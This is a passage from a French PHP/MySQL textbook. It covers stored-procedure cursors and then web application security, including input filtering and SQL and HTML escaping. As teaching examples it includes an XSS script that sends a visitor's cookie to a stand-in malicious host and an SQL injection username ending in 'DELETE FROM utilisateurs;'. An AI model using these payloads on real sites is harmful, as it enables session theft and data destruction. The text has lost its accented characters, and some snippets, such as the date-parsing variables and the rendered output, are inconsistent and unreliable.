Ce curseur est appel c1. Il ne sagit que dune dfinition de ce quil va contenir. La
requte ne sera pas encore excute.
La ligne suivante :
open c1;

excute la requte elle-mme. Pour obtenir chaque ligne de donnes, vous devez excuter une instruction fetch. Cela se fait dans une boucle repeat. Dans le cas prsent, la
boucle ressemble ceci :
repeat
...
until fini end repeat;

Notez que la condition (until fini) nest pas vrifie avant la fin. Les procdures stockes
supportent galement les boucles while de la forme suivante :
while condition do
...
end while;

Il existe aussi des boucles loop, de la forme suivante :


loop
...
end loop

Ces boucles ne possdent pas de conditions intgres, mais on peut les quitter laide
dune instruction leave;.
Notez quil nexiste pas de boucles for.
Toujours dans notre exemple, la ligne suivante du code extrait une ligne de donnes :
fetch c1 into cet_id, ce_montant;

Cette ligne rcupre une ligne partir de la requte du curseur. Les deux attributs
rcuprs par la requte sont stocks dans les deux variables locales spcifies.
On vrifie si une ligne a t rcupre puis on compare le montant de la boucle actuelle
avec le montant maximal stock, au moyen de deux instructions IF :
if not fini then
if ce_montant > l_montant then

Chapitre 13

Programmation MySQL avance

339

set l_montant = ce_montant;


set l_id = cet_id;
end if;
end if;

Notez que les valeurs de variable sont dfinies au moyen de linstruction set.
Outre if...then, les procdures stockes disposent galement dune structure
if...then...else de la forme suivante :
if condition then
...
[elseif condition then]
...
[else]
...
end if

Il existe galement une instruction case, qui possde la forme suivante :


case valeur
when valeur then instruction
[when valeur then instruction ...]
[else instruction]
end case

Pour revenir notre exemple, une fois que la boucle a termin, il reste un peu de
nettoyage faire :
close c1;
set max_id = l_id;

Linstruction close ferme le curseur.


Pour finir, vous positionnez le paramtre OUT la valeur que vous avez calcule. Vous
pouvez utiliser le paramtre non pas comme une variable temporaire mais uniquement
pour stocker la valeur finale (cet emploi est semblable celui dautres langages de
programmation, comme Ada).
Si vous crez cette procdure comme on la indiqu ici, vous pouvez lappeler comme
vous avez appel lautre procdure :
call max_commande(@l);
select @l;

Vous devriez obtenir une sortie comme celle-ci :


+------+
| @l
|
+------+
| 3
|
+------+

Vous pouvez vrifier par vous-mme que le calcul est correct.

340

Partie II

Utilisation de MySQL

Pour aller plus loin


Dans ce chapitre, nous avons propos un rapide tour dhorizon des procdures stockes.
Pour en apprendre plus sur ce sujet, consultez le manuel MySQL.
Pour plus dinformations sur LOAD DATA INFILE, sur les diffrents moteurs de stockage
et sur les procdures stockes, consultez galement le manuel MySQL.
Si vous voulez en savoir plus sur les transactions et la cohrence des bases de donnes,
nous vous conseillons de vous procurer un bon livre sur les bases de donnes relationnelles, comme An Introduction to Database Systems, de C. J. Date.

Pour la suite
Nous avons prsent trait les notions fondamentales de PHP et de MySQL. Au chapitre
suivant, nous aborderons le problme de la scurit des applications web.

III
Scurit

14

Scurit des applications web

15

Authentification avec PHP et MySQL

16

Transactions scurises avec PHP et MySQL

14
Scurit des applications web
Dans ce chapitre, nous continuerons notre tude de la scurit des applications en
examinant comment scuriser la totalit dune application web. Chaque composant doit
videmment tre protg contre les mauvaises utilisations ventuelles (accidentelles ou
volontaires) ; nous dvelopperons donc certaines stratgies de dveloppement pour
nous aider dans cette tche.

Stratgies de scurit
Lun des principaux intrts dInternet, son ouverture et laccessibilit rciproque
entre toutes les machines quil relie, est galement lun des pires cauchemars des
dveloppeurs dapplications web. Il y a tant dordinateurs relis entre eux quil est sr
que certains utilisateurs connects ont tout sauf de louables intentions. Avec tout ce
danger qui nous entoure, exposer tout le rseau une application grant des informations confidentielles comme des numros de cartes de crdits, des informations
bancaires ou personnelles peut sembler assez prilleux. Mais le commerce doit continuer et nous devons voir plus loin que la simple scurisation de nos applications :
nous devons dvelopper une approche pour prvoir et traiter les problmes de scurit. Lessentiel, ici, est de trouver une approche qui trouve un quilibre entre la
ncessit de nous protger et celle de raliser nos affaires et davoir une application
fonctionnelle.
Partir du bon pied
La scurit nest pas une fonctionnalit. Lorsque lon dveloppe une application web et
que lon choisit les fonctionnalits quon souhaite y inclure, la scurit ne fait pas partie
de la liste des tches et on ne charge pas un dveloppeur dy travailler pendant quelques
jours. La scurit doit faire partie intgrante de la conception et cest un effort sans fin

344

Partie III

Scurit

qui se poursuit mme aprs le dploiement de lapplication et lorsque lactivit de dveloppement a ralenti ou cess.
En ayant lesprit et en prvoyant ds le dbut les diffrents moyens par lesquels notre
systme peut tre attaqu et par o il pourrait tre compromis, nous pouvons concevoir
notre code afin de rduire la probabilit dapparition de ces problmes. Cela nous vite
galement de devoir tout modifier par la suite, lorsque nous nous serons finalement intresss au problme.
Trouver un quilibre entre la scurit et la facilit dutilisation
Lune des plus grandes inquitudes lors de la conception dun systme accessible aux
utilisateurs concerne leurs mots de passe. Les utilisateurs choisiront souvent des mots
de passe qui sont assez faciles dcouvrir laide dun programme spcialis, surtout
sils utilisent des mots issus du dictionnaire. Nous aimerions donc trouver un moyen
de rduire ce risque afin que le systme ne puisse pas tre attaqu par cette brche de
scurit.
Une solution possible consisterait faire en sorte que chaque utilisateur passe par
quatre botes de dialogue pour se connecter, chacune demandant un mot de passe
distinct. Nous pourrions aussi exiger quil change ces quatre mots de passe au moins
une fois par mois et lempcher de rutiliser un mot de passe prcdent. Notre systme
serait bien plus scuris et les pirates devraient passer beaucoup plus de temps pour y
pntrer.
Malheureusement, un tel systme serait si scuris que personne ne voudrait lutiliser :
un moment donn, tout utilisateur trouverait que cela ne vaut simplement pas la peine
de sembter avec toutes ces tracasseries. Cet exemple illustre le fait que, si la prise en
compte de la scurit est importante, il est tout aussi important de se soucier de son
impact sur lutilisation du systme. Un systme simple utiliser et peu scuris plaira
aux utilisateurs mais risquera galement de poser plus de problmes lis la scurit et
plus dinterruption de service. De mme, un systme tellement scuris quil est peine
utilisable attirera peu dutilisateurs et aura galement un effet trs ngatif sur votre
commerce.
En tant que concepteurs dapplications web, nous devons donc rechercher des moyens
damliorer la scurit sans compliquer de faon disproportionne lutilisation du
systme. Comme tout ce qui est li aux interfaces utilisateur, il nexiste pas de rgles
prtablies que nous pourrions suivre, et il faut faire appel son propre jugement, des
tests dutilisation et des groupes dutilisateurs reprsentatifs pour tudier leurs ractions
par rapport nos prototypes et nos choix de conception.

Chapitre 14

Scurit des applications web

345

Surveiller la scurit
Lorsquon a fini de dvelopper une application web et quon la dploye sur des
serveurs en production pour que les gens commencent lutiliser, le travail nest pas
fini. Une partie de la scurit consiste surveiller le systme pendant quil fonctionne,
en examinant les fichiers journaux et les autres fichiers pour tudier son comportement
et la faon dont il est utilis. Ce nest quen examinant soigneusement le fonctionnement dun systme (ou en crivant et en excutant des outils pour raliser automatiquement une partie de cet audit) que lon peut dtecter les problmes de scurit
potentiels et les parties sur lesquelles il sera peut-tre ncessaire de passer plus de
temps pour dvelopper des solutions plus scurises.
La scurit, malheureusement, est une guerre continue qui, dans un certain sens, ne
pourra jamais tre gagne. Une vigilance constante, des amliorations apportes au
systme et une raction rapide tous les problmes sont le prix payer pour disposer
dune application web qui fonctionne correctement.
Une approche de base
Pour disposer dune solution de scurit qui soit la plus complte possible au prix
dun effort raisonnable, nous dcrirons une approche en deux parties. La premire
suit ce que nous avons dj expliqu : comment prvoir la scurit dune application
et y intgrer des fonctionnalits qui nous aiderons conserver cette scurit. Comme
nous aimons bien donner des noms tout, nous pourrions qualifier cette approche de
descendante.
La seconde partie, par contraste, pourrait tre appele approche ascendante. Au cours
de cette phase, nous examinons tous les composants de notre application, comme le
SGBDR utilis, le serveur lui-mme et le rseau sur lequel il se trouve. Nous vrifions
que non seulement nos interactions avec ces composants sont scurises, mais que leur
installation et leur configuration le sont galement. De nombreux produits sont fournis
avec des configurations qui les laissent vulnrables aux attaques, et il est prfrable de
connatre ces failles et de les combler.

Identifier les menaces auxquelles nous devrons faire face


Nous nous intresserons ici un certain nombre de menaces contre la scurit des
applications web et nous verrons comment modifier nos pratiques de dveloppement en
consquence.

346

Partie III

Scurit

Accs ou modification de donnes confidentielles


Une partie de notre travail en tant que concepteurs et dveloppeurs dapplications
web consiste garantir que toutes les donnes que nous confient les utilisateurs sont
scurises, comme toutes celles que lon reoit des autres dpartements. Lorsque lon
expose des parties de ces informations aux utilisateurs de notre application, on doit le
faire de sorte quils ne voient que celles quils sont autoriss consulter et ils ne doivent
certainement pas voir les informations des autres utilisateurs.
Si nous crivons un frontal pour un systme de gestion dactions boursires, par
exemple, les personnes qui peuvent avoir accs nos tables SQL contenant les
donnes des comptes pourraient retrouver des informations comme les numros de
scurit sociale des utilisateurs ou des renseignements personnels comme les actions
possdes par chaque utilisateur (voire, dans certains cas extrmes, des renseignements
bancaires).
Mme lexposition dune table ne contenant que des noms et des adresses est une
atteinte svre la scurit. Les clients attachent une trs grande importance leur intimit et une gigantesque liste de noms et dadresses, plus certaines informations qui
pourraient en tre dduites, est un article qui pourrait tre revendu des socits de
marketing qui ne respectent pas les rgles.
Si quelquun trouve un moyen de modifier ces donnes, la situation est encore pire. Un
heureux client dune banque pourrait se retrouver plus riche de plusieurs milliers
deuros ou des adresses de livraison pourraient avoir t modifies pour quun heureux
client (probablement celui qui aura modifi ces adresses) reoive une bonne quantit de
colis qui auraient d tre expdis ailleurs.
Perte ou destruction des donnes
La suppression de donnes est un problme aussi grave quun accs non autoris des
informations confidentielles. Si un pirate arrive dtruire des tables de votre base de
donnes, votre entreprise peut se trouver dans une situation critique. Si nous sommes
une banque en ligne qui affiche les informations sur les comptes de ses clients et que
toutes les donnes dun compte sont perdues, nous ne sommes pas une banque srieuse.
Pire encore, si toute la table des utilisateurs est supprime, nous devrons passer beaucoup
de temps reconstruire la base de donnes et retrouver qui possde quoi.
Un point important noter est que la perte ou la destruction de donnes ne provient pas
forcment dun pirate ou dune mauvaise utilisation du systme. Si limmeuble dans
lequel se trouvent nos serveurs brle avec tout son contenu, nous aurons perdu beaucoup de donnes et le seul espoir qui nous reste rside dans des sauvegardes bien faites
et dans un plan de rparation des dsastres.

Chapitre 14

Scurit des applications web

347

Dni de service
Nous avons dj voqu le potentiel dvastateur des attaques par dni de service (DoS)
et de leurs cousines encore plus srieuses, les attaques par dni de service distribues
(DDoS). Avoir des serveurs inaccessibles pendant des heures, si ce nest plus, peut tre
une situation dont il est difficile de se remettre. Si vous rflchissez la frquentation
des principaux sites dInternet et que vous vous rendiez compte que vous vous attendez
toujours les trouver l, toute interruption de leur service est un problme.
L aussi, un dni de service peut avoir une autre raison quune mauvaise utilisation.
Mme si nous avons de solides sauvegardes stockes en lieu sr, si limmeuble de nos
serveurs est dtruit par un incendie, emport par une coule de boue ou dtruit par de
petits hommes verts venus de lespace, nous perdrons des clients pour longtemps si
nous ne sommes pas capables de remettre rapidement en ligne nos machines.
Injection de code malicieux
Linjection de code malicieux est un type dattaque qui a prouv son efficacit sur le
Web. Le cas le plus fameux est lattaque par Cross Site Scripting (appel galement
XSS pour ne pas le confondre avec lacronyme des feuilles de style en cascade, CSS).
Ce quil y a de particulirement troublant dans ces attaques est quaucune perte de
donnes nintervient immdiatement mais quen revanche un certain code sexcute et
cause des pertes dinformations diffrents degrs ou des redirections des utilisateurs
quils peuvent ne mme pas remarquer.
Le Cross Site Scripting fonctionne de la faon suivante :
1. Le pirate saisit dans un formulaire destin tre lu par dautres utilisateurs (un
formulaire de commentaire ou de saisie darticle dans un forum web, par exemple)
du texte qui ne reprsente pas seulement le message quil veut saisir, mais qui
contient aussi un script qui sexcute chez le client, comme ici :
<script>
this.document = "va.qquepart.mechant?cookie=" + this.cookie;
</script>

2. Le pirate soumet le formulaire et attend.


3. Lutilisateur suivant du systme qui consultera la page contenant le texte entr par le
pirate excutera le code du script quil contient. Dans notre exemple, cet utilisateur
sera redirig, ainsi que les informations du cookie provenant du site initial.
Bien quil sagisse ici dun exemple trivial, les scripts ct client constituent un langage
trs puissant et les possibilits quils donnent ce type dattaque font froid dans le dos.

348

Partie III

Scurit

Compromission dun serveur


Bien quun serveur compromis puisse avoir le mme effet que de nombreuses attaques
que nous venons de dcrire, il faut cependant remarquer que, parfois, le but des intrus
sera simplement dobtenir un accs votre systme, le plus souvent en tant que superutilisateur (administrateur sur les systmes Windows et root sur les systmes Unix).
Ils seront alors libres de rgner sur cet ordinateur et pourront lancer les programmes
quils veulent, lteindre ou installer dautres logiciels ralisant des oprations que vous
napprcierez pas vraiment.
Face ce type dattaque, il faut donc tre particulirement vigilant, car la premire
chose que font les intrus aprs avoir pntr sur un serveur consiste masquer leurs
traces et leurs actions.

Savoir qui lon a affaire


Bien que lon ait tendance classer instinctivement tous ceux qui posent des problmes
de scurit comme de mauvaises personnes dont le seul but est de nous nuire, ces
problmes impliquent souvent dautres acteurs qui y participent malgr eux et qui
napprcieraient pas dtre traits de pirates.
Les pirates
Le groupe le plus vident et le plus connu rassemble ceux que lon appelle pirates.
Nous ne ferons pas la confusion classique avec les hackers car la plupart des vrais
hackers sont tout fait honntes et pleins de bonnes intentions. Les pirates tentent, pour
toutes sortes de raisons, de trouver des faiblesses et les exploitent pour atteindre leur
but. Ils peuvent tre motivs par la cupidit sils recherchent des informations financires ou des numros de cartes de crdit ; par largent sils sont pays par une socit
concurrente pour obtenir des informations confidentielles sur la vtre ; il peut galement sagir de personnes talentueuses pour qui pntrer sur un systme constitue un
dfi intressant. Bien quils constituent une menace srieuse, ce serait une erreur de
focaliser tous nos efforts contre eux.
Utilisateurs victimes de machines infectes
Outre les pirates, nous devons galement nous protger contre un grand nombre
dautres personnes. cause des faiblesses et des failles de scurit prsentes dans de
nombreuses parties des logiciels actuels, un pourcentage alarmant de machines sont
infectes par des programmes qui effectuent toutes sortes doprations. Les machines
de certains utilisateurs de votre rseau priv peuvent trs bien avoir t infectes par de
tels programmes qui attaqueront votre serveur leur insu.

Chapitre 14

Scurit des applications web

349

Employs mcontents
Les employs de notre socit forment un autre groupe dont il faut nous soucier. Ces
employs, pour une raison ou pour une autre, peuvent avoir lintention de nuire leur
entreprise. Quelles que soient leurs motivations, ils peuvent se transformer eux-mmes
en pirates amateurs ou se procurer des outils grce auxquels ils pourront sonder et attaquer les serveurs depuis lintrieur du rseau de la socit. Se protger du monde extrieur tout en restant totalement expos en interne ne sappelle pas tre protg. Cest un
bon argument en faveur de limplmentation dune zone dmilitarise (DMZ, pour
demilitarized zone), que nous tudierons plus loin.
Voleurs de matriel
On omet souvent de se protger contre un simple vol de matriel. Vous seriez surpris de
la facilit avec laquelle on peut pntrer dans les bureaux des grandes socits et sy
promener sans jamais tre suspect. Quelquun qui se rend au bon endroit et au bon
moment peut trouver un serveur flambant neuf et des disques pleins de donnes confidentielles.
Nous-mmes
Bien que ce soit dplaisant entendre, lun des plus gros soucis pour la scurit de nos
systmes sont nous-mmes et le code que nous crivons. Si nous ne faisons pas attention la scurit, si nous crivons du code bcl et que nous ne nous soucions pas de
tester et de vrifier la scurit de notre systme, nous fournissons une aide prcieuse
aux pirates dans leurs tentatives de compromettre nos serveurs.
Si vous faites quelque chose, faites-le correctement. Internet est particulirement impitoyable envers les ngligents ou les fainants. Le plus difficile, pour respecter cette
maxime, est de convaincre les chefs ou ceux qui signent les chques que cela en vaut la
peine. Gnralement, il suffit de leur expliquer pendant quelques minutes les effets
ngatifs dune scurit laxiste pour les persuader que leffort supplmentaire que vous
rclamez est ncessaire dans un monde o la rputation reprsente tout.

Scuriser son code


Passons au second aspect de notre approche de la scurit : inspecter sparment tous
les composants et rechercher comment amliorer leur scurit. Nous commencerons
par tudier tout ce que nous pourrions faire pour que notre code soit sr. Bien que nous
ne puissions pas montrer ici tout ce quil faudrait savoir pour grer toutes les menaces
possibles (des tomes entiers ont t consacrs ces sujets), nous pouvons au moins
donner quelques conseils gnraux et vous indiquer la route suivre. Nous insisterons

350

Partie III

Scurit

sur les problmes de scurit lis lutilisation de certaines technologies spcifiques en


PHP lorsque nous les rencontrerons.
Filtrage des donnes fournies par les utilisateurs
Lune des mesures les plus importantes que nous pouvons prendre pour amliorer la
scurit de nos applications web consiste filtrer toutes les donnes fournies par les
utilisateurs.
Les auteurs dapplications doivent filtrer toutes les donnes provenant de sources externes, ce qui ne signifie pas que lon doive concevoir un systme en supposant que tous
les utilisateurs sont des escrocs. Nous voulons quils se sentent les bienvenus et nous les
encourageons videmment utiliser nos programmes, mais nous voulons simplement
tre prpars en cas de mauvaise utilisation de notre systme.
Si le filtrage est efficace, nous pouvons rduire de faon non ngligeable le nombre
des menaces extrieures et amliorer normment la robustesse du systme. Mme
si lon a entirement confiance en nos utilisateurs, nous ne pouvons pas tre
certains que leurs machines ne sont pas infectes par un programme malicieux qui
modifie les requtes adresses notre serveur ou qui en envoie des fabriques de
toutes pices.
Les sections qui suivent expliquent comment effectuer ce filtrage.
Vrifier les valeurs attendues
Parfois, lutilisateur doit choisir une valeur appartenant un ensemble bien dtermin ;
cest le cas, par exemple, lorsquil doit choisir un mode dexpdition (classique ou
express), un pays ou une province, etc. Supposons que lon utilise le formulaire
suivant :
<html>
<head>
<title>Qui tes-vous?</title>
</head>
<body>
<form action=traite_form.php method=POST>
<input type=radio name=sexe value=Masculin/>Masculin<br/>
<input type=radio name=sexe value=Feminin>Fminin<br/>
<input type=radio name=sexe value=Autre/>Autre<br/>
<input type=submit value=Envoyer/>
</form>
</body>
</html>

Ce code produira laffichage prsent la Figure 14.1. Avec ce formulaire, nous pourrions supposer que la valeur de $ POST[sexe] dans traite_form.php sera ncessairement
Masculin, Feminin ou Autre. Mais nous aurions compltement tort.

Chapitre 14

Scurit des applications web

351

Figure 14.1
Un formulaire
trs simple.

Comme nous lavons dj indiqu, le Web repose sur des messages en texte clair,
envoys via le protocole HTTP. Un clic sur le bouton Envoyer du formulaire ci-dessus
provoque lenvoi de messages textuels destination de notre serveur. Ces messages ont
une structure analogue celle de ces lignes :
POST /traite_form.php HTTP/1.1
Host: www.mamachine.com
User-Agent: WoobaBrowser/3.4 (Windows)
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
sexe=Masculin

Cependant, rien nempche quelquun de se connecter votre serveur web et de lui


envoyer les valeurs quil souhaite, celles-ci par exemple :
POST /traite_form.php HTTP/1.1
Host: www.mamachine.com
User-Agent: WoobaBrowser/3.4 (Windows)
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
sexe=J+aime+les+cookies.

Si lon crivait le code suivant :


<?php
echo <<<EOM
<p align=center>
Le sexe de lutilisateur est: {$_POST[sexe]}.
</p>
EOM;
?>

nous serions embts un peu plus tard. Une stratgie bien meilleure consiste vrifier
que la donne qui entre fait partie des valeurs admises, comme ici :
<?php
switch ($_POST[sexe]) {

352

Partie III

case Masculin:
case Feminin:
case Autre:
echo <<<EOM
<p align=center>
Flicitations!
</p>

Scurit

Vous tes de sexe {$_POST[sexe]}.

EOM;
break;
default:
echo <<<EOM
<p align=center>
<font color=red>ATTENTION:</font>Valeur incorrecte pour le sexe.
</p>
EOM;
break;
}
?>

Il y a un peu plus de code ici, mais nous pouvons au moins tre srs que lon obtiendra
une valeur correcte ; ceci est encore plus important lorsque lon manipule des donnes
plus financires que le genre dun utilisateur. Une rgle gnrale est que vous ne devez
jamais supposer que la valeur envoye par un formulaire appartient un ensemble de
valeurs attendues : vous devez toujours le vrifier.
Filtrer mme les valeurs de base
Les lments des formulaires HTML ne sont pas typs et se contentent de transmettre
au serveur des chanes de caractres (qui peuvent reprsenter des dates, des heures ou
des nombres). Si un formulaire contient un champ "numrique", vous ne pouvez donc
pas supposer que lutilisateur y a vraiment saisi un nombre. Mme avec des environnements o un code ct client particulirement puissant sefforce de vrifier que les
donnes saisies correspondent bien au type attendu, il ny a aucune garantie que ces
valeurs ne seront pas envoyes directement au serveur, comme on la vu dans la section
prcdente.
Un moyen simple de vrifier quune valeur est du type attendu consiste la transtyper
dans ce type et dutiliser le rsultat, comme ici :
$nb_nuitees = (int)$_POST[nb_nuitees];
if ($nb_nuitees == 0) {
echo "ERREUR: Nombre de nuites incorrect pour la chambre!";
exit;
}

Si lutilisateur doit saisir une date sous un certain format, jj/mm/aa par exemple, nous
pouvons vrifier quil sagit bien dune vritable date laide de la fonction checkdate()

Chapitre 14

Scurit des applications web

353

de PHP, qui prend un mois, un jour et une anne sur quatre chiffres en paramtre et qui
renvoie vrai si ces valeurs combines forment une date correcte :
// dcoupe dans un tableau la valeur du champ contenant la "date"
$mmjjaa = split($_POST[date_depart], /);
if (count($mmjjaa)!= 3) {
echo "ERREUR: Format de date incorrect!";
exit;
}
// Gre les annes comme 02 ou 95
if ((int)$mmjjyy[2] < 100) {
if ((int)$mmjjyy[2] > 50) {
$mmjjyy[2] = (int)$mmjjyy[2] + 1900;
} else if ((int)$mmjjyy[2] >= 0) {
$mmjjyy[2] = (int)$mmjjyy[2] + 2000;
}
// sinon elle est < 0 checkdate sen apercevra
}
if (!checkdate($mmjjyy[1], $mmjjyy[0], $mmjjyy[2])) {
echo "ERREUR: Date incorrecte! ";
exit;
}

En prenant le temps de filtrer et de tester la validit des donnes que vous recevez, vous
effectuez un test naturel initial (comme vrifier que la date de dpart pour un ticket
davion est correcte) et vous participez lamlioration de la scurit de votre systme.
Scuriser les chanes pour SQL
Nous devons galement traiter les chanes pour nous prmunir des attaques par injection SQL, comme on la expliqu lorsque nous avons prsent lutilisation de MySQL
avec PHP. Avec ce type dattaque, le pirate tente de tirer parti des programmes mal
protgs et des permissions utilisateur pour excuter du code SQL supplmentaire qui
neffectue pas ncessairement ce que lon souhaite. Si lon ny prend pas garde, un nom
dutilisateur comme :
kitty_cat; DELETE FROM utilisateurs;

peut nous poser de gros problmes.


Il y a deux faons dempcher ce type dattaque :
m

Filtrer et protger toutes les chanes envoyes au SGBDR via SQL en utilisant les fonctions mysql_escape_string, mysqli::real_escape_string ou mysqli_real_escape_string.
Sassurer que toutes les donnes reues correspondent ce que lon attend. Si les
noms dutilisateurs sont censs faire moins de 50 caractres et ne comprendre que
des lettres et des nombres, vous pouvez tre sr quun nom se terminant par ";
DELETE FROM utilisateurs" ne doit pas tre autoris. Outre la rduction des

354

Partie III

Scurit

risques, crire du code PHP qui garantit que les donnes reues correspondent aux
valeurs possibles avant de les envoyer au serveur de base de donnes signifie galement que lon peut afficher des messages derreurs plus significatifs que ceux
produits par le SGBDR (pour peu quil vrifie ce genre de choses).
Lextension mysqli fournie avec PHP5 a galement lavantage de nautoriser lexcution que dune seule requte avec mysqli query ou mysqli::query. Pour lancer
plusieurs requtes, vous devez explicitement utiliser les fonctions mysqli multi query
ou mysqli::multi query, ce qui permet dempcher lexcution dinstructions ou de
requtes supplmentaires qui pourraient tre dangereuses.
Protger les sorties
La protection des sorties est presque aussi importante que le filtrage des entres car il
est essentiel dtre certain que les valeurs qui sont entres dans notre systme ne pourront pas causer de dgts. Pour cela, on utilise deux fonctions permettant de garantir
que le navigateur web du client ne pourra se servir de ces valeurs que pour les afficher.
Certaines applications affichent sur une page ce qui a t saisi par lutilisateur. Celles
permettant aux utilisateurs de poster des commentaires sur un article ou les forums de
discussion web sont des exemples typiques de ce qui peut arriver si vous ny prenez pas
garde. Dans ces situations, nous devons vrifier que les utilisateurs ninjectent pas de
balises HTML malicieuses dans le texte quils ont saisi.
Lun des moyens les plus simples consiste utiliser les fonctions htmlspecialchars ou
htmlentities pour convertir en entits HTML certains caractres de la chane qui leur
est passe en paramtre. Pour faire court, une entit HTML sert reprsenter un caractre qui ne peut pas apparatre dans le code HTML ; cest une squence de caractres
spciale commenant par une esperluette (&) et se terminant par un point-virgule. Le
nom de lentit est plac entre ces deux symboles. Ce nom peut ventuellement tre un
code ASCII en dcimal, prfix par le symbole dise (#) : &#47; reprsente ainsi la
barre de fraction (/).
Les balises de HTML tant dlimites par les caractres < et >, il est difficile dutiliser
ces deux symboles dans du texte normal puisque le navigateur supposera quils dlimitent des balises. Pour contourner ce problme, il suffit dutiliser les entits &lt; et &gt;.
De mme, lesperluette ayant une signification spciale puisquelle introduit une entit,
il faut utiliser &amp; pour la reprsenter littralement. Les apostrophes simples et
doubles sont reprsentes, respectivement, par &#39; et &quot;. Toutes les entits
HTML sont converties en sortie par le navigateur et ne sont donc pas considres
comme faisant partie du balisage.
Les comportements de htmlspecialchars et htmlentities sont diffrents : la premire ne
remplace, par dfaut, que les symboles &, <, > et, ventuellement, les apostrophes doubles

Chapitre 14

Scurit des applications web

355

ou simples. La seconde, en revanche, remplace tout ce qui peut tre reprsent par une
entit nomme. Citons notamment le symbole de copyright , reprsent par &copy; ,
et le symbole euro , reprsent par &euro;. Cependant, les caractres ne seront pas
convertis en entits numriques.
Ces deux fonctions prennent comme deuxime paramtre une valeur indiquant si elles
doivent convertir les apostrophes simples et doubles en entits. Dans les deux cas, le
troisime paramtre indique le jeu de caractres dans lequel est encode la chane (ce
qui est essentiel car nous avons besoin de grer correctement les chanes UTF8). Les
valeurs possibles du deuxime paramtre sont :
m

ENT COMPAT. Les apostrophes doubles sont converties en &quot; mais les apostrophes
simples sont laisses telles quelles.
ENT QUOTES. Les apostrophes simples et doubles sont converties, respectivement, en
&#39; et &quot;.
ENT NOQUOTES (valeur par dfaut). Les apostrophes simples et doubles ne sont pas
converties.

Soit le texte suivant :


$chaine_saisie = <<<FINCHAINE
<p align=center>
Un utilisateur nous a donn "15000".
</p>
<script>
// code JavaScript malicieux.
</script>
FINCHAINE;

Si on lexcute avec le script PHP qui suit (nous appelons ici la fonction nl2br sur la
chane afin quelle soit correctement formate dans le navigateur) :
<?php
$chaine = htmlspecialchars($chaine_saisie, ENT_NOQUOTES, "UTF-8");
echo nl2br($chaine);
$chaine = htmlentities($chaine_saisie, ENT_QUOTES, "UTF-8");
echo nl2br($chaine);
?>

Voici ce que nous obtiendrons :


<br />
&lt;p align=center&gt;<br />
Un utilisateur nous a donn "15000".<br />
&lt;/p&gt;<br />

356

Partie III

Scurit

<br />
&lt;script&gt;<br />
// code JavaScript malicieux.<br />
&lt;/script&gt;<br />
<br />
&lt;p align=&#039;center&#039;&gt;<br />
Un utilisateur nous a donn&eacute; &quot;15000&euro;&quot;.<br />
&lt;/p&gt;<br />
<br />
&lt;script&gt;<br />
// code JavaScript malicieux.<br />
&lt;/script&gt;<br />

Ce qui apparatrait comme ceci dans le navigateur :


<p align=center>
code JavaScript malicieux "15000".
</p>
<script>
// code JavaScript malicieux.
</script>
<p align=center>
code JavaScript malicieux "15000".
</p>
<script>
// code JavaScript malicieux.
</script>

Vous pouvez remarquer que htmlentities, contrairement htmlspecialchars, a


remplac le par &eacute; et le symbole euro par &euro;.
Pour autoriser les utilisateurs saisir certaines balises HTML, comme dans les forums
de discussion o certains apprcient de pouvoir contrler la police, la couleur et le style
(italique ou gras), il faut analyser les chanes pour trouver les balises quil ne faut pas
supprimer.
Organiser le code
Certains prtendent que les fichiers qui ne doivent pas tre accessibles directement
partir dInternet devraient se trouver lextrieur de larborescence des documents du
site web. Si la racine de cette arborescence est, par exemple, /home/httpd/forum/www
sur le site de votre forum web, vous devriez placer tous les fichiers inclus dans un rpertoire comme /home/httpd/forum/www/code, puis les inclure avec linstruction suivante
quand vous avez besoin deux :
require_once(../code/objets.php);

Chapitre 14

Scurit des applications web

357

Les raisons de cette prcaution tiennent ce qui se passe lorsquun utilisateur envoie
une requte HTTP pour un fichier qui na pas lextension .php ou .html. En effet, de
nombreux serveurs web adopteront en ce cas le comportement par dfaut qui consiste
envoyer le contenu de ces fichiers dans leur rponse. Si objets.php est stock dans
larborescence publique et que lutilisateur demande ce fichier, il pourra voir tout son
contenu safficher dans son navigateur, ce qui lui permettra dtudier limplmentation,
de contourner vos droits dauteur et, ventuellement, de trouver des failles que vous
auriez laisses.
Pour empcher ces situations, assurez-vous que le serveur web est configur pour
nautoriser que les requtes pour des fichiers .php ou .html et pour quil renvoie une
page derreur en rponse aux demandes dautres types de fichiers.
De mme, il est prfrable de stocker lextrieur de larborescence publique du
serveur tous les autres fichiers tels que les fichiers de mots de passe, les fichiers texte,
les fichiers de configuration ou les rpertoires spciaux. Mme si vous pensez que votre
serveur web est configur correctement, vous pouvez avoir omis un dtail. En outre,
votre application web peut tre plus tard dplace sur un serveur mal configur et vous
vous retrouveriez nouveau expos.
Si la directive allow url fopen a t active dans php.ini, nous pouvons thoriquement inclure des fichiers stocks sur des serveurs distants. Ce serait un autre risque pour
la scurit pour notre application : il est prfrable dviter linclusion de fichiers stocks sur dautres machines que le serveur, surtout si vous navez pas le contrle de ces
machines. De mme, il ne faut pas se servir de ce qua saisi lutilisateur pour choisir les
fichiers inclure, car une saisie errone pourrait poser problme.
Contenu du code
La plupart des extraits de code pour accder aux bases de donnes que nous avons
prsents contenaient le nom de la base, le nom de lutilisateur et son mot de passe en
texte clair, comme ici :
$conn = @new mysqli("localhost", "bob", "secret", "ma_base");

Bien que cela soit pratique, ce nest pas trs scuris puisque des pirates pourraient
mettre la main sur votre fichier .php et auraient ainsi un accs immdiat votre base
avec tous les droits de bob.
Il est donc prfrable de placer le nom de lutilisateur et son mot de passe dans un
fichier qui ne se trouve pas dans larborescence des documents du serveur et de
linclure dans votre script, comme ici :
<?php
// connexion_bd.php

358

Partie III

Scurit

$serveur_bd = localhost;
$utilisateur_bd = bob;
$mdp_bd = secret;
$nom_bd = ma_bd;
?>
<?php
include(../code/connexion.php);
$conn = @new mysqli($serveur_bd, $utilisateur_bd, $mdp_bd, $nom_bd);
// etc
?>

Vous devez procder de la mme manire avec toutes les autres donnes confidentielles
pour lesquelles vous souhaitez ajouter une couche de protection supplmentaire.
Considrations sur le systme de fichiers
PHP peut manipuler le systme de fichiers local. En ce qui nous concerne, ceci a deux
implications :
m

Est-ce que tous les fichiers que nous crons sur le disque seront visibles par les
autres ?
Si lon expose cette fonctionnalit aux autres, pourront-ils accder aux fichiers que
lon ne veut pas leur montrer, comme /etc/passwd ?

Il faut faire attention ne pas crer de fichiers avec des permissions ouvertes tout le
monde et ne pas les placer un endroit o les autres utilisateurs dun systme comme
Unix pourraient accder.
